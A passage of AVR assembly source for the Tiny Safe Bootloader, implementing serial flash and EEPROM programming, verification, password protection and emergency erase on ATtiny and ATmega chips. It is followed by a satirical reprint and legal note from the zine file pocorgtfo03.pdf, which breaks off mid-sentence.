RequestConfirmation:
        ldi tmp1, REQUEST               ; send request character
        rcall Transmitbyte              ; prompt to confirm (or not)

RwaitConfirmation:
        rcall ReceiveByte               ; get host's reply
        clt                             ; set T=0 for confirm
        cpi tmp1, CONFIRM               ; if host HAS sent CONFIRM
        breq RCx                        ; return with the T=0
        set                             ; else set T=1 (NOT CONFIRMED)
RCx:
        ret                             ; whether confirmed or not

;-----------------------------------------------------------------------
; WRITE FLASH PAGES FROM BUFFER, VERIFYING AND VERIFY-ERROR-HANDLING
;-----------------------------------------------------------------------
; uses: r0, r1, Y, Z, tmp1, tmp2, bcnt
; Z must point to start address of page to be written.
; Z is left at start address of next page.
; T=0 for internal verifying and EraseAppFlash on any verifying error
; T=1 to skip verifying and consequences of an error

.if FOURPAGES == 0                      ; normal (single page) erase

WritePageafterErase:
        rcall EraseFlashPage
WritePage:
        rcall YtoBUFFER                 ; Y=BUFFER, bcnt=PAGESIZE*2
WrPa1:
        ld r0, y+                       ; fill R0/R1 with word
        ld r1, y+                       ; from buffer position Y / Y+1
        ldi tmp1, 0b00000001            ; set only SPMEN in SPMCSR
        out SPMCSR, tmp1                ; to activate page buffering
        spm                             ; store word in page buffer
        adiw zl, 2                      ; and forward to next word
        subi bcnt, 2
        brne WrPa1
        ; Z = start of next page now
        subi zl, low (PAGESIZE*2)       ; point back Z to
        sbci zh, high(PAGESIZE*2)       ; start of current page
        ; Z = back on current page's start
WrPa2:
        ldi tmp1, 0b00000101            ; enable PRWRT + SPMEN
        out SPMCSR, tmp1                ; in SPMCSR
        spm                             ; write whole page to flash
WrPa3:
        in tmp1, SPMCSR                 ; wait for flash write finished
        sbrc tmp1, 0                    ; skip if SPMEN (bit0) cleared
        rjmp WrPa3                      ; ITS BEEN WRITTEN

;-----------------------------------------------------------------------
; INTERNAL VERIFY AGAINST BUFFER CONTENTS
;-----------------------------------------------------------------------
; If verify of any page in AppFlash has FAILED, the program code and/or
; reset-vector may be corrupted - danger of bootloader lock-out!
; It is better then to IMMEDIATELY ERASE ALL APPLICATION FLASH
; to make sure the bootloader remains accessible by the next session
; (with option for a new attempt).

.message "INTERNAL VERIFYING FOR ATTINYS."

VerifyPage:
        rcall YtoBUFFER                 ; Y=BUFFER, bcnt=PAGESIZE*2
WrPV1:
        lpm tmp1, z+                    ; load flash byte
        ld tmp2,  y+                    ; load buffer byte
        cp tmp1, tmp2                   ; else compare
        breq WrPV2                      ; if EQUAL loop on
        brts WrPV2                      ; T=1 skips verify consequences
        ldi tmp1, CONFIRM
        rcall Transmitbyte
        rcall EraseAppFlash             ; otherwise erase appflash and

WrPVf:  rjmp WrPVf                      ; freeze for bootloader's sake
WrPV2:
        dec bcnt                        ; count down page bytecounter
        brne WrPV1                      ; loop until all bytes checked
WrPx:
        ret

.endif

;-----------------------------------------------------------------------

.if FOURPAGES == 1                      ; 4-Page Erase+Write (tn441/841)
                                        ; for real PAGESIZE of 8 Words
WritePageafterErase:
        rcall EraseFlashPage
WritePage:
        rcall YtoBUFFER
        ldi tmp3, 4
WrPa4P:
        ldi bcnt, 16
WrPa1:
        ld r0, y+                       ; fill R0/R1 with word
        ld r1, y+                       ; from buffer position Y / Y+1
        ldi tmp1, 0b00000001            ; set only SPMEN in SPMCSR
        out SPMCSR, tmp1                ; to activate page buffering
        spm                             ; store word in page buffer
        adiw zl, 2                      ; and forward to next word
        subi bcnt, 2
        brne WrPa1
        sbiw zl, 16                     ; Z back to start of real-page
WrPa2:
        ldi tmp1, 0b00000101            ; enable PGWRT + SPMEN
        out SPMCSR, tmp1                ; in SPMCSR
        spm                             ; write sub-page to flash
WrPa3:
        in tmp1, SPMCSR                 ; wait for flash write finished
        sbrc tmp1, 0                    ; skip if SPMEN (bit0) cleared
        rjmp WrPa3                      ; ITS BEEN WRITTEN

        ldi bcnt, 16
        sbiw yl, 16
WrPV1:
        lpm tmp1, z+                    ; load flash byte
        ld tmp2,  y+                    ; load buffer byte
        cp tmp1, tmp2                   ; else compare
        breq WrPV2                      ; if EQUAL loop on
        brts WrPV2                      ; T=1 skips verify consequences
        ldi tmp1, CONFIRM
        rcall Transmitbyte
        rcall EraseAppFlash             ; otherwise erase appflash and
WrPVf:  rjmp WrPVf                      ; freeze for bootloader's sake

WrPV2:
        dec bcnt                        ; count down page bytecounter
        brne WrPV1                      ; loop until all bytes checked
WrPx:
        dec tmp3                        ; count all 4 sub-pages
        brne WrPa4P                     ; to be written from buffer

        ret
.endif


;-----------------------------------------------------------------------
; FLASH ERASE TOP-TO-BOTTOM ( (BOOTSTART-1) ... $0000)
;-----------------------------------------------------------------------
; uses: Z, tmp1

EraseAppFlash:
        ldi zl, low (BOOTSTART*2)       ; point Z to BOOTSTART
        ldi zh, high(BOOTSTART*2)       ; 1st page's 1st address
EAF0:
        subi zl, low (PAGESIZE*2)       ; start erasing
        sbci zh, high(PAGESIZE*2)       ; one page below

        rcall EraseFlashPage            ; then erase pagewise down
        brne EAF0                       ; until first page reached
EAFx:   ret                             ; and leave with Z = $0000

;-----------------------------------------------------------------------
; ERASE FLASH / EEPROM / USERDATA
;-----------------------------------------------------------------------
; uses: Z, tmp1

EmergencyErase:
        rcall EraseAppFlash             ; first kill AppFlash contents
        ser tmp1
EEE0:
        rcall EEWriteByte               ; write EEPROM byte, Z = Z + 1
        cpi zh, high(EEPROMEND+1)+2     ; EEPROMEND
        brne EEE0                       ; and loop on until finished

        rcall ZtoLASTPAGE               ; to finally
;       rjmp EraseFlashPage             ; erase LASTPAGE

;-----------------------------------------------------------------------
; ERASE ONE FLASH PAGE
;-----------------------------------------------------------------------
; NOTE: with tn441/841 this is always 4-page erase

EraseFlashPage:
        ldi tmp1, 0b00000011            ; enable PGERS + SPMEN
        out SPMCSR, tmp1                ; in SPMCSR and erase current
        spm                             ; page by SPM (MCU halted)
        ret                             ; then return

;-----------------------------------------------------------------------
; OTHER SUBROUTINES
;-----------------------------------------------------------------------

YtoBUFFER:
        ldi yl, low (BUFFER)            ; reset pointer
        ldi yh, high(BUFFER)            ; to programming buffer
        ldi bcnt, low(PAGESIZE*2)       ; and often needed
        ret

;-----------------------------------------------------------------------

ZtoLASTPAGE:
        ldi zl, low (LASTPAGE*2)        ; reset Z to LASTPAGE start
        ldi zh, high(LASTPAGE*2)
        ret

;-----------------------------------------------------------------------
; RS232 RECEIVE BYTE
;-----------------------------------------------------------------------
; data: tmp1
; uses: tmp1 (received byte, fully overwritten), tmp2 (bitcounter)

ReceiveByte:
        sbi RXPORT, RXBIT               ; again set pullup for RX
Recb1:
        sbic RXPIN, RXBIT               ; wait for startbit (0)
        rjmp Recb1                      ; loop while stop state (1)
Recb2:
        ldi tmp2, 8                     ; bitcounter
        rcall Waithalfbitcell           ; tune to center of startbit
Recb3:
        rcall Waitbitcell               ; tune to center of bitcell
        lsr tmp1                        ; right shift 0 into bit 7
        sbic RXPIN, RXBIT               ; if RXD bit is 1
        sbr tmp1, 0b10000000            ; set bit 7
Recb4:
        dec tmp2                        ; count down bitcounter
        brne Recb3                      ; loop until 8 bits collected
        rjmp Waitbitcell                ; wait into center of stopbit

;-----------------------------------------------------------------------
; RS232 TRANSMIT BYTE
;-----------------------------------------------------------------------
; data: tmp1
; uses: tmp1 (to be consumed), tmp2 (bitcounter)
;
; with different portlines defined for RX and TX ("two-wire")
; => TX-line is configuered as an output compatible to TTL/HCMOS logic
;
; with the same portline defined for RX and TX ("one-wire")
; => TX-line controlled like an open collector/drain with weak pullup

TransmitByte:
        rcall Waitbitcell               ; ensure safe RX-TX transition
        rcall Trx0                      ; transmit 0 = startbit
        ldi tmp2, 8                     ; set bitcounter
Trxbit:                                 ; transmit byte loop
        sbrc tmp1, 0
        rcall Trx1                      ; sent logical 1 bitcell
        sbrs tmp1, 0                    ; or
        rcall Trx0                      ; sent logical 0 bitcell
        lsr tmp1                        ; shift out that bit
        dec tmp2                        ; count down
        brne Trxbit                     ; loop until all bits sent
Trx1:
        sbi TXDDR, TXBIT                ; if RX=TX (One-Wire), result is
        cbi RXDDR, RXBIT                ; pullup to Vcc for "1" (high-Z)
        sbi TXPORT, TXBIT               ; else portbit actively driven
        rjmp Waitbitcell
Trx0:
        sbi TXDDR, TXBIT                ; set TX driver for output
        cbi TXPORT, TXBIT               ; set portbit to active "0"
;       rjmp Waitbitcell                ; continue with Waitbitcell

;-----------------------------------------------------------------------
; RS232 PRECISION TIMING
;-----------------------------------------------------------------------
; input: bclkh, bclkl   (division-factor for bitcells at given baudrate)

Waitbitcell:
        movw xl, bclkl                  ; load bitcell clock timer
wbc1:
        sbiw xl, 18                     ; nearly same number of clocks
        nop                             ; as in calibration loop
        brcc wbc1
wbcx:   ret

Waithalfbitcell:
        movw xl, bclkl                  ; load bitcell clock timer
        lsr xh                          ; shiftout bit 0 of xh to carry
        ror xl                          ; carry shifted in bit 7 of xl
        rjmp wbc1                       ; run timer with 1/2 divider

;-----------------------------------------------------------------------
; DEVICE INFO BLOCK = PERMANENT DATA
;-----------------------------------------------------------------------
; 16 bytes of permanent data identify bootloader and device model

.if TSBINSTALLER == 0
        .org DEVICEINFO         ; ATtiny TSB in target address
.else
        .org TDEVICEINFO        ; ATtiny address of TSB-Installer
.endif

.message "Device info block for ATtiny"
.db "tsb", low (BUILDDATE), high (BUILDDATE), BUILDSTATE
.db SIGNATURE_000, SIGNATURE_001, SIGNATURE_002, low (PAGESIZE)
.dw BOOTSTART
.dw EEPROMEND

.if FLASHEND >= ($1fff)         ; check for device >= 16 KB
        APPJUMP:
        .db $0C, $94            ; first two bytes (opcode) for a JMP
.else
        .db $00, $00
        APPJUMP:
.endif

;-----------------------------------------------------------------------
; LASTPAGE WITH APPLICATION-JUMP, TIMEOUT, PASSWORD (USER DATA)
;-----------------------------------------------------------------------
; Leaving this page blank ($FF) will be safe defaults

RLASTPAGE:           ; reference label for end of fixed TSB code
                     ; in TSB/TSB-Installer (LASTPAGE)
; Check for correct alignment of TSB code when assembled to target

.if TSBINSTALLER == 0
        .if RLASTPAGE == LASTPAGE
        .message "TSB properly aligned with target address."
        .else
        .message "WARNING: TSB CODE NOT PROPERLY ALIGNED!"
        .if RLASTPAGE <  LASTPAGE
        .message "Code shifted below LASTPAGE."
        .endif
        .if RLASTPAGE >  LASTPAGE
        .message "Code shifted beyond LASTPAGE."
        .endif
        .endif
.endif

.if TSBINSTALLER == 1
        .if RLASTPAGE == TLASTPAGE
        .message "TSB Installer properly aligned."
        .else
        .message "WARNING: TSB CODE NOT PROPERLY ALIGNED!"
        .if RLASTPAGE <  TLASTPAGE
        .message "Code shifted below LASTPAGE."
        .endif
        .if RLASTPAGE >  TLASTPAGE
        .message "Code shifted beyond LASTPAGE."
        .endif
        .endif
.endif
.message "ASSEMBLY OF TSB FOR ATTINY SUCCESSFULLY FINISHED."
.endif

;***********************************************************************
; END OF TINY SAFE BOOTLOADER FOR ATTINYS
;***********************************************************************
;
;
;
.if TINYMEGA == 1
.message "START ASSEMBLY OF TSB FOR ATMEGA."
;
;
;
;***********************************************************************
;***********************************************************************
;***********************************************************************
; START OF TSB FOR ATMEGAS
;***********************************************************************
;***********************************************************************
;***********************************************************************
;
; TSB for ATmegas is always directly coded to target address.

.org BOOTSTART

RESET:
        cli                             ; just to be sure...
        ldi tmp1, low (RAMEND)          ; write ramend low
        out SPL, tmp1                   ; into SPL (stackpointer low)
        .ifdef SPH
        ldi tmp1, high(RAMEND)          ; write ramend high for ATtinys
        out SPH, tmp1                   ; with SRAM > 256 bytes
        .endif

        in tmp1, MCUSR                  ; check MCUCR for WDRF
        sbrc tmp1, WDRF                 ; if this is a watchdog reset
        rjmp APPJUMP                    ; immediately leave TSB

;-----------------------------------------------------------------------
; ACTIVATION CHECK
;-----------------------------------------------------------------------
; Configure RX/TX Ports
; Wait for startbit and first auto-calibration character before timeout

WaitRX:
        sbi TXDDR, TXBIT                ; if RX=TX ("one-wire"), port is
        cbi RXDDR, RXBIT                ; driven like open collector,
        sbi RXPORT, RXBIT               ; else RX is input with pullup
        sbi TXPORT, TXBIT               ; and TX is actively driven "1"

WRXto:
        adiw xl, 1                      ; allow port levels to set
        brne WRXto                      ; await some milliseconds

        sbis RXPIN, RXBIT               ; if RX is low from the start
        rjmp APPJUMP                    ; direct APPJUMP

        rcall ZtoLASTPAGE               ; set Z to start'o'LASTPAGE
        adiw zl, 2                      ; skip first 2 bytes (APPJUMP)
        lpm tmp3, z+                    ; load TIMEOUT byte, leave Z+3
        cpi tmp3, 8                     ; ensure least delay for
        brcc WRX0                       ; accessibility of bootloader
        ldi tmp3, 8
WRX0:
        dec tmp1                        ; inner counter to delay
        brne WRX0                       ; for debouncing/denoising
        sbis RXPIN, RXBIT               ; if serial startbit occurs
        rjmp Activate                   ; go Activate
        dec tmp2                        ; else
        brne WRX0                       ; count down
        dec tmp3                        ; to TIMEOUT (from LASTPAGE)
        brne WRX0                       ; if timeout elapsed
;        rjmp APPJUMP

;-----------------------------------------------------------------------
; ATMEGA APPJUMP - SIMPLY JUMP TO $0000 (ORIGINAL RESET VECTOR)
;-----------------------------------------------------------------------
; Boot Reset Vector must be activated (BOOTRST=0).
; After timeout or executing commands, TSB for ATmegas will simply
; handover to the App by a (relative or absolute) jump to $0000.

APPJUMP:
rcall SPMwait                           ; make sure everything's done
.if FLASHEND >= ($1fff)
        jmp  $0000                      ; absolute jump
.else
        rjmp $0000                      ; relative jump
.endif

;-----------------------------------------------------------------------
; BAUDRATE CALIBRATION CYCLE
;-----------------------------------------------------------------------
; Calibrate from leading autobaud characters ('@@@')
;                databits
;    startbit > S12345678S < stopbit
;    1st byte : 0000000101   startbit + bits 1-6 only for activation
; followed by : 0000000101   measure starts with bitcell 8 in 1st byte
; followed by : 0000000101   ends with bitcell 8 in last byte
; ... summing up to 17 bitcells for good timing reference

Activate:
        clr xl                          ; clear temporary
        clr xh                          ; baudrate counters
        ldi tmp1, 5                     ; counter for bit-changes
actw0:
        sbis RXPIN, RXBIT               ; idle 0-states
        rjmp actw0                      ; which may be inaccurate
actw1:
        sbic RXPIN, RXBIT               ; idle first 1-state
        rjmp actw1
actw2:
        adiw xl, 1                      ; precision measuring loop
        sbis RXPIN, RXBIT               ; count clock cycles in 0-state
        rjmp actw2
        dec tmp1                        ; count intermediary 1-states
        brne actw1                      ; up to complete result
        movw bclkl, xl                  ; save result in bclk
        rcall Waitbitcell               ; since we are still in stopbit
;       rjmp CheckPW

;-----------------------------------------------------------------------
; CHECK PASSWORD / EMERGENCY ERASE
;-----------------------------------------------------------------------
; Check Password, if existing. No feedback whatsoever while characters
; received - silent hangup with wrong characters submit.
; After full and correct password has been entered, go SendDeviceinfo.
; Emergency Erase: Detect command and engage Emergency Erase
; (two zeroes sent and double confirmed)
; uses: tmp1, tmp3, Z (must point to LASTPAGE+3 at the beginning)

CheckPW:

chpw1:
        lpm tmp3, z+                    ; load character from Flash
        cpi tmp3, 255                   ; byte value (255) indicates
        breq chpwx                      ; end of password -> okay
        rcall Receivebyte               ; else receive next character
chpw2:
        cp tmp3, tmp1                   ; compare with password
        breq chpw1                      ; if equal check next character
        cpi tmp1, 0                     ; or was it 0 (emergency erase)
chpwl:  brne chpwl                      ; if not, loop infinitely
        rcall RequestConfirmation       ; if yes, request confirm
        brts chpa                       ; not confirmed, leave
        rcall RequestConfirmation       ; request 2nd confirm
        brts chpa                       ; can't be mistake now
        rcall EmergencyErase            ; go, emergency erase!
chpa:
        rjmp APPJUMP                    ; start application
chpwx:
;        rcall SendDeviceInfo

;-----------------------------------------------------------------------
; SEND DEVICEINFO
;-----------------------------------------------------------------------

SendDeviceInfo:
        ldi zl, low (DEVICEINFO*2)      ; load address of deviceinfo
        ldi zh, high(DEVICEINFO*2)      ; low and highbyte
        ldi bcnt, INFOLEN*2
        rcall SendFromFlash

;-----------------------------------------------------------------------
; MAIN LOOP TO RECEIVE AND EXECUTE COMMANDS
;-----------------------------------------------------------------------

Mainloop:
        clr zl                          ; clear Z pointer
        clr zh                          ; which is frequently used
        ldi tmp1, CONFIRM               ; send CONFIRM
        rcall Transmitbyte              ; via RS232
        rcall Receivebyte               ; receive command via RS232
        rcall CheckCommands             ; check command letter
        rjmp Mainloop                   ; and loop on

;-----------------------------------------------------------------------
; CHANGE USER DATA IN LASTPAGE
;-----------------------------------------------------------------------
; Receive page data and write into LASTPAGE

ChangeSettings:
        rcall GetNewPage                ; get new LASTPAGE contents
        brtc ChaSets0                   ; from Host (if confirmed)
        ret
ChaSets0:
        rcall ZtoLASTPAGE               ; re-write LASTPAGE
        rcall EraseFlashPage
        rcall WritePage                 ; erase and write LASTPAGE

;-----------------------------------------------------------------------
; SEND USER DATA FROM LASTPAGE
;-----------------------------------------------------------------------

ControlSettings:
        rcall ZtoLASTPAGE               ; point to LASTPAGE
;       rcall SendPageFromFlash

;-----------------------------------------------------------------------
; SEND DATA FROM FLASH MEMORY
;-----------------------------------------------------------------------
; Send bcnt number of flash memory bytes, count up Z accordingly

SendPageFromFlash:
        ldi bcnt, low (PAGESIZE*2)      ; whole Page to send
SendFromFlash:
        rcall SPMwait                   ; (re)enable RWW read access
        lpm tmp1, z+                    ; read directly from flash
        rcall Transmitbyte              ; and send out to RS232
        dec bcnt                        ; bcnt is number of bytes
        brne SendFromFlash
        ret

;-----------------------------------------------------------------------
; READ APPLICATION FLASH
;-----------------------------------------------------------------------
; read and transmit application flash area (pagewise)

ReadAppFlash:
RAF0:
        rcall RwaitConfirmation
        brts RAFx
        rcall SendPageFromFlash
RAF1:
        cpi zl, low (LASTPAGE*2)        ; count up to last byte
        brne RAF0                       ; below LASTPAGE
        cpi zh, high(LASTPAGE*2)
        brne RAF0
RAFx:
        ret

;-----------------------------------------------------------------------
; WRITE APPLICATION FLASH
;-----------------------------------------------------------------------
; Write Appflash pagewise, don't modify anything for ATmegas

WriteAppFlash:
        rcall EraseAppFlash             ; Erase whole app flash
Flash2:
        rcall GetNewPage                ; get next page from host
        brts FlashX                     ; stop on user's behalf
Flash3:
        rcall WritePage                 ; write page data into flash
Flash4:
        cpi zh, high(LASTPAGE*2-1)      ; end of available Appflash?
        brne Flash2                     ; if Z reached last location
        cpi zl, low (LASTPAGE*2-1)      ; then we are finished
        brne Flash2                     ; else go on
FlashX:
        ret                             ; we're already finished!

;-----------------------------------------------------------------------
; WRITE FLASH PAGE FROM BUFFER, VERIFYING AND VERIFY-ERROR-HANDLING
;-----------------------------------------------------------------------
; uses: r0, r1, Y, Z, tmp1, tmp2, bcnt
; Z must point to start address of page to be written.
; Z will always be left at start address of next page.
; T=0 for internal verifying and EraseAppFlash on any verifying error
; T=1 to skip verifying and consequences of an error

WritePage:
        rcall YtoBUFFER                 ; Y=BUFFER, bcnt=PAGESIZE*2
WrPa1:
        ld r0, y+                       ; fill R0/R1 with word
        ld r1, y+                       ; from buffer position Y / Y+1
        ldi tmp1, 0b00000001            ; set only SPMEN in SPMCSR
        out SPMCSR, tmp1                ; to activate page buffering
        spm                             ; store word in page buffer
        adiw zl, 2                      ; and forward to next word
        subi bcnt, 2
        brne WrPa1
        ; Z = start of next page now
        subi zl, low (PAGESIZE*2)       ; point back Z to
        sbci zh, high(PAGESIZE*2)       ; start of current page
        ; Z = back on current page's start
WrPa2:
        ldi tmp1, 0b00000101            ; enable PRWRT + SPMEN
        out SPMCSR, tmp1                ; in SPMCSR
        spm                             ; write whole page to flash
WrPa3:
        in tmp1, SPMCSR                 ; wait for flash write finished
        sbrc tmp1, 0                    ; skip if SPMEN (bit0) cleared
        rjmp WrPa3                      ; ITS BEEN WRITTEN
        subi zl, low (-PAGESIZE*2)      ; same effect as
        sbci zh, high(-PAGESIZE*2)      ; Z = Z + PAGESIZE*2
        ret

;-----------------------------------------------------------------------
; CHECK COMMANDS
;-----------------------------------------------------------------------
; Placed 'in between' to reach all subs by direct branches

CheckCommands:
        cpi tmp1, 'c'                   ; read LASTPAGE
        breq ControlSettings
        cpi tmp1, 'C'                   ; write LASTPAGE
        breq ChangeSettings
        cpi tmp1, 'f'                   ; read Appflash
        breq ReadAppFlash
        cpi tmp1, 'F'                   ; write Appflash
        breq WriteAppFlash
        cpi tmp1, 'e'                   ; read EEPROM
        breq EepromRead
        cpi tmp1, 'E'                   ; write EEPROM
        breq EEpromWrite
        rjmp APPJUMP                    ; else start application

;-----------------------------------------------------------------------
; EEPROM READ/WRITE ACCESS
;-----------------------------------------------------------------------
; Read or write full EEPROM address space
; With blocksize = PAGESIZE * 2 (since PAGESIZE is defined in words)
; uses: Y, Z (0 at the beginnung), tmp1, tmp3

EepromWrite:
EEWr0:
        rcall GetNewPage                ; get EEPROM datablock
        brts EERWFx                     ; or abort on host's demand
EEWr1:
        rcall YtoBUFFER                 ; Y = Buffer and Bcnt = blocksize
EEWr2:
        ld tmp1, y+                     ; read EEPROM byte from buffer
        rcall EEWriteByte
        dec bcnt                        ; count down block byte counter
        brne EEWr2                      ; loop on if block not finished
        rjmp EeWr0

;-----------------------------------------------------------------------

EEpromRead:
EeRe1:
        rcall RwaitConfirmation         ; wait to confirm
        brts EERWFx                     ; else we are finished
        ldi bcnt, low(PAGESIZE*2)       ; again PAGESIZE*2 is blocksize
EERe2:
        out EEARL, zl                   ; current EEPROM address low
        .ifdef  EEARH
        out EEARH, zh                   ; current EEPROM address high
        .endif
        sbi EECR, 0                     ; set EERE - EEPROM read enable
        in tmp1, EEDR                   ; read byte from current address
        rcall Transmitbyte              ; send out to RS232
        adiw zl,1                       ; count up EEPROM address
        dec bcnt                        ; count down block byte counter
        brne EERe2                      ; loop on if block not finished
        rjmp EERe1
EERWFx:
        ret

;-----------------------------------------------------------------------

EEWriteByte:
        out EEDR, tmp1                  ; write to EEPROM data register
        out EEARL, zl                   ; current EEPROM address low
        .ifdef  EEARH
        out EEARH, zh                   ; high EEARH for some attinys
        .endif
        sbi EECR, 2                     ; EEPROM master prog enable
        sbi EECR, 1                     ; EEPE initiate prog cycle
EeWB:
        sbic EECR, 1                    ; wait write cycle to complete
        rjmp EeWB                       ; before we can go on
        adiw zl,1                       ; count up EEPROM address
        ret

;-----------------------------------------------------------------------
; GET NEW PAGE
;-----------------------------------------------------------------------
; Read page data into SRAM buffer
; uses: X, tmp1, bcnt, SRAM

GetNewPage:
        rcall RequestConfirmation       ; check for confirmation
        brts GNPx                       ; abort if not confirmed
GNP0:
        rcall YtoBUFFER                 ; Y = BUFFER, bcnt = PAGESIZE*2
GNP1:
        rcall ReceiveByte               ; receive serial byte
        st y+, tmp1                     ; and store in buffer
        dec bcnt                        ; until full page loaded
        brne GNP1                       ; loop on
GNPx:
        ret                             ; finished
;-----------------------------------------------------------------------
; REQUEST TO CONFIRM / AWAIT CONFIRM COMMAND
;-----------------------------------------------------------------------
; Send REQUEST and wait answer from Host (received character in tmp1)
; T-flag cleared: CONFIRM / T-flag set: NOT CONFIRM (any other char)

RequestConfirmation:
        ldi tmp1, REQUEST               ; send request character
        rcall Transmitbyte              ; prompt to confirm (or not)

RwaitConfirmation:
        rcall ReceiveByte               ; get host's reply
        clt                             ; set T=0 for confirm
        cpi tmp1, CONFIRM               ; if host HAS sent CONFIRM
        breq RCx                        ; return with the T=0
        set                             ; else set T=1 (NOT CONFIRMED)
RCx:
        ret                             ; whether confirmed or not

;-----------------------------------------------------------------------
; FLASH ERASE TOP-TO-BOTTOM ( (BOOTSTART-1) ... $0000)
;-----------------------------------------------------------------------
; uses: Z, tmp1

EraseAppFlash:
        rcall ZtoLASTPAGE               ; point Z to LASTPAGE, directly
EAF0:
        subi zl, low (PAGESIZE*2)
        sbci zh, high(PAGESIZE*2)
        rcall EraseFlashPage
        brne EAF0                       ; until first page reached
EAFx:   ret                             ; and leave with Z = $0000

;-----------------------------------------------------------------------
; EMERGENCY ERASE OF FLASH / EEPROM / USERDATA
;-----------------------------------------------------------------------
; uses: Z, tmp1

EmergencyErase:
        rcall EraseAppFlash             ; erase Application Flash
        ser tmp1                        ; byte value for EEPROM writes
EEE0:
        rcall EEWriteByte               ; write EEPROM byte, Z = Z + 1
        cpi zh, high(EEPROMEND+1)+2     ; EEPROMEND
        brne EEE0                       ; and loop on until finished

        rcall ZtoLASTPAGE               ; LASTPAGE is to be erased
;        rcall EraseFlashPage

;-----------------------------------------------------------------------
; ERASE ONE FLASH PAGE
;-----------------------------------------------------------------------

EraseFlashPage:
        ldi tmp1, 0b00000011            ; enable PGERS + SPMEN
        out SPMCSR, tmp1                ; in SPMCSR and erase current
        spm                             ; page by SPM (MCU halted)

; Waiting for SPM to be finished is obligatory on ATmegas
SPMwait:
        in tmp1, SPMCSR
        sbrc tmp1, 0                    ; wait previous SPMEN
        rjmp SPMwait
        ldi tmp1, 0b00010001            ; set RWWSRE and SPMEN
        out SPMCSR, tmp1
        spm
        ret

;-----------------------------------------------------------------------
; OTHER SUBROUTINES
;-----------------------------------------------------------------------

YtoBUFFER:
        ldi yl, low (BUFFER)            ; reset pointer
        ldi yh, high(BUFFER)            ; to programming buffer
        ldi bcnt, low(PAGESIZE*2)       ; and often needed
        ret

;-----------------------------------------------------------------------

ZtoLASTPAGE:
        ldi zl, low (LASTPAGE*2)        ; reset Z to LASTPAGE start
        ldi zh, high(LASTPAGE*2)
        ret

;-----------------------------------------------------------------------
; RS232 RECEIVE BYTE
;-----------------------------------------------------------------------
; data: tmp1
; uses: tmp1 (received byte, fully overwritten), tmp2 (bitcounter)

ReceiveByte:
        sbi RXPORT, RXBIT               ; again set pullup for RX
Recb1:
        sbic RXPIN, RXBIT               ; wait for startbit (0)
        rjmp Recb1                      ; loop while stop state (1)
Recb2:
        ldi tmp2, 8                     ; bitcounter
        rcall Waithalfbitcell           ; tune to center of startbit
Recb3:
        rcall Waitbitcell               ; tune to center of bitcell
        lsr tmp1                        ; right shift 0 into bit 7
        sbic RXPIN, RXBIT               ; if RXD bit is 1
        sbr tmp1, 0b10000000            ; set bit 7
Recb4:
        dec tmp2                        ; count down bitcounter
        brne Recb3                      ; loop until 8 bits collected
        rjmp Waitbitcell                ; wait into center of stopbit

;-----------------------------------------------------------------------
; RS232 TRANSMIT BYTE
;-----------------------------------------------------------------------
; data: tmp1
; uses: tmp1 (to be consumed), tmp2 (bitcounter)
;
; with different portlines defined for RX and TX ("two-wire")
; => TX-line is configuered as an output compatible to TTL/HCMOS logic
;
; with the same portline defined for RX and TX ("one-wire")
; => TX-line acts like an open collector/drain with weak pullup

TransmitByte:
        rcall Waitbitcell               ; ensure safe RX-TX transition
        rcall Trx0                      ; transmit 0 = startbit
        ldi tmp2, 8                     ; set bitcounter
Trxbit:                                 ; transmit byte loop
        sbrc tmp1, 0
        rcall Trx1                      ; sent logical 1 bitcell
        sbrs tmp1, 0                    ; or
        rcall Trx0                      ; sent logical 0 bitcell
        lsr tmp1                        ; shift out that bit
        dec tmp2                        ; count down
        brne Trxbit                     ; loop until all bits sent
Trx1:
        sbi TXDDR, TXBIT                ; if RX=TX (One-Wire), result is
        cbi RXDDR, RXBIT                ; pullup to Vcc for "1" (high-Z)
        sbi TXPORT, TXBIT               ; else portbit actively driven
        rjmp Waitbitcell
Trx0:
        sbi TXDDR, TXBIT                ; set TX driver for output
        cbi TXPORT, TXBIT               ; set portbit to active "0"
;       rjmp Waitbitcell                ; continue with Waitbitcell

;-----------------------------------------------------------------------
; RS232 PRECISION TIMING
;-----------------------------------------------------------------------
; input: bclkh, bclkl   (division-factor for bitcells at given baudrate)
; uses: X
;
Waitbitcell:
        movw xl, bclkl                  ; load bitcell clock timer
wbc1:
        sbiw xl, 18                     ; nearly same number of clocks
        nop                             ; as in calibration loop
        brcc wbc1
wbcx:   ret

Waithalfbitcell:
        movw xl, bclkl                  ; load bitcell clock timer
        lsr xh                          ; shiftout bit 0 of xh to carry
        ror xl                          ; carry shifted in bit 7 of xl
        rjmp wbc1                       ; run timer with 1/2 divider

;-----------------------------------------------------------------------
; DEVICE INFO BLOCK = PERMANENT DATA
;-----------------------------------------------------------------------
; 16 bytes of permanent data to identify bootloader and device model
; may be directly attached to the active machine code on ATmegas

DEVICEINFO:

.message "Device info block for ATmega"
.db "TSB", low (BUILDDATE), high (BUILDDATE), BUILDSTATE
.db SIGNATURE_000, SIGNATURE_001, SIGNATURE_002, low (PAGESIZE)
.dw BOOTSTART-PAGESIZE
.dw EEPROMEND
.db $AA, $AA

;-----------------------------------------------------------------------
; LASTPAGE WITH APPLICATION-JUMP, TIMEOUT, PASSWORD (USER DATA)
;-----------------------------------------------------------------------
; Leaving this page blank ($FF) will be safe defaults

.message "ASSEMBLY OF TSB FOR ATMEGA SUCCESSFULLY FINISHED."
.endif               ; closing TSB for ATmega sourcecode;

;***********************************************************************
; END OF TSB FOR ATMEGAS
;***********************************************************************
;
.exit
;
;
;***********************************************************************
; END OF CONDITIONAL ASSEMBLY CODE TSB FOR ATTINYS AND TSB FOR ATMEGAS
;***********************************************************************
;
;
;
;***********************************************************************
;***********************************************************************
;***********************************************************************
;
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Legal Note: Permission to use all or part of this work for personal, classroom or any other use is NOT granted
unless you make a copy and pass it to a neighbor without fee. If burning a book is a sin, then copying books is as
much your sacred duty. Saint Leibowitz of Utah was once himself a humble booklegger; there ain’t no shame in it.



Reprints: This issue is published through samizdat as pocorgtfo03.pdf. While we recognize that it is clearly ille-
gal under the CFAA to enumerate integers in a URL, you might want to risk counting upward from pocorgtfo00.pdf
to get our other issues. Though we promise to try to talk some sanity into the prosecutor, we cannot promise that
he will listen to reason. In the event that you are convicted for counting, please give our kindest regards to Weev.



Technical Note: This file, pocorgtfo03.pdf, complies with the PDF, JPEG, and ZIP file formats. When en-
crypted with AES in CBC mode with an IV of 5B F0 15 E2 04 8C E3 D3 8C 3A 97 E7 8B 79 5B C1 and a key of
